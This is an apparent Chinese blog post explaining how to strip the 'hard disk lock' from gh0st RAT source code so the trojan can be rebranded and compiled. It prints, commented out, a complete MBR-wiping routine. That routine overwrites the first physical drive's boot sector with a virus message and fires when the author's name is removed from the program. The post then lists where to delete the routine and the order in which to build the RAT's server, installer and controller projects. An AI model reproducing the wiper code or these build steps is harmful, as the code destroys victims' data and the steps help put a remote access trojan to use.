gh0st去硬盘锁
這幾天閑來無事,下載了個(gè)
gh0st
源碼,由于剛開始沒有仔細(xì)看是否去了硬盤鎖,差點(diǎn)整個(gè)硬盤都費(fèi)了。
/*? unsigned?char?scode[]?=? "\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"? "\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72"? "\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";? ? int?CGh0stApp::KillMBR()? {? ????HANDLE?hDevice;? ????DWORD?dwBytesWritten,?dwBytesReturned;? ????BYTE?pMBR[512]?=?{0};? ????? ????//?重新構(gòu)造MBR? ????memcpy(pMBR,?scode,?sizeof(scode)?-?1);? ????pMBR[510]?=?0x55;? ????pMBR[511]?=?0xAA;? ????? ????hDevice?=?CreateFile? ????????(? ????????"\\\\.\\PHYSICALDRIVE0",? ????????GENERIC_READ?|?GENERIC_WRITE,? ????????FILE_SHARE_READ?|?FILE_SHARE_WRITE,? ????????NULL,? ????????OPEN_EXISTING,? ????????0,? ????????NULL? ????????);? ????if?(hDevice?==?INVALID_HANDLE_VALUE)? ????????return?-1;? ????DeviceIoControl? ????????(? ????????hDevice,?? ????????FSCTL_LOCK_VOLUME,?? ????????NULL,?? ????????0,?? ????????NULL,?? ????????0,?? ????????&dwBytesReturned,?? ????????NULL? ????????);? ????//?寫入病毒內(nèi)容? ????WriteFile(hDevice,?pMBR,?sizeof(pMBR),?&dwBytesWritten,?NULL);? ????DeviceIoControl? ????????(? ????????hDevice,?? ????????FSCTL_UNLOCK_VOLUME,?? ????????NULL,?? ????????0,?? ????????NULL,?? ????????0,?? ????????&dwBytesReturned,?? ????????NULL? ????????);? ????CloseHandle(hDevice);? ? ????ExitProcess(-1);? ????return?0;? }? */??
/*? ????char????strVer[10];? ????char????strTitle[10];? ? ????strVer[0]?=?'C';? ????strVer[1]?=?'.';? ????strVer[2]?=?'R';? ????strVer[3]?=?'u';? ????strVer[4]?=?'f';? ????strVer[5]?=?'u';? ????strVer[6]?=?'s';? ????strVer[7]?=?'?';? ????strVer[8]?=?'S';? ????strVer[9]?=?'\0';? ? ????strTitle[0]?=?'G';? ????strTitle[1]?=?'h';? ????strTitle[2]?=?'0';? ????strTitle[3]?=?'s';? ????strTitle[4]?=?'t';? ????strTitle[5]?=?'?';? ????strTitle[6]?=?'R';? ????strTitle[7]?=?'A';? ????strTitle[8]?=?'T';? ????strTitle[9]?=?'\0';? ? ????CString?str;? ????GetDlgItemText(IDC_STATIC_VER,?str);? ????if?(str.Find(strVer)?==?-1)? ????????((CGh0stApp?*)AfxGetApp())->KillMBR();? ? ????GetParent()->GetWindowText(str);? ????if?(str.Find(strTitle)?==?-1)? ????????((CGh0stApp?*)AfxGetApp())->KillMBR();? ????*/??
//int?KillMBR();??
gh0st硬盤鎖是源碼的作者為了保護(hù)版權(quán)而設(shè)置的,如果我們直接更改版權(quán)會(huì)造成硬盤被鎖,中了硬盤鎖的后果是非常嚴(yán)重的,特別是你電腦里有重要數(shù)據(jù)的時(shí)候,這樣會(huì)導(dǎo)致你電腦里的數(shù)據(jù)全部丟失!
????如果你沒去硬盤鎖,又改了版權(quán),那么打開gh0st控制端后會(huì)一閃就關(guān)閉了,這樣就是中硬盤鎖了,中了硬盤鎖之后將不能重裝系統(tǒng),只能重新對(duì)硬盤進(jìn)行分區(qū)。
?? gh0st去硬盤鎖其實(shí)很簡單,主要分為以下幾部:
?
1?ghost.cpp文件中注釋或刪除以下代碼(可以搜索這段代碼unsigned?char?scode[]?=?)
[cpp]?view plaincopyprint?
?
2?在BuildView.cpp文件中注釋或刪除以下代碼
?
[cpp]?view plaincopyprint?
?
3?在ghost.h文件中注釋或刪除以下代碼
[cpp]?view plaincopyprint?
?
即注釋或刪除出現(xiàn)KillMBR的4處。
編譯順序從下往上依次編譯,即先svchost?files工程,然后install?files工程,最后ghost?files工程
總結(jié)
- 上一篇: 使用 Minidumps 和 Visua
- 下一篇: 进程间通信 - 匿名管道实现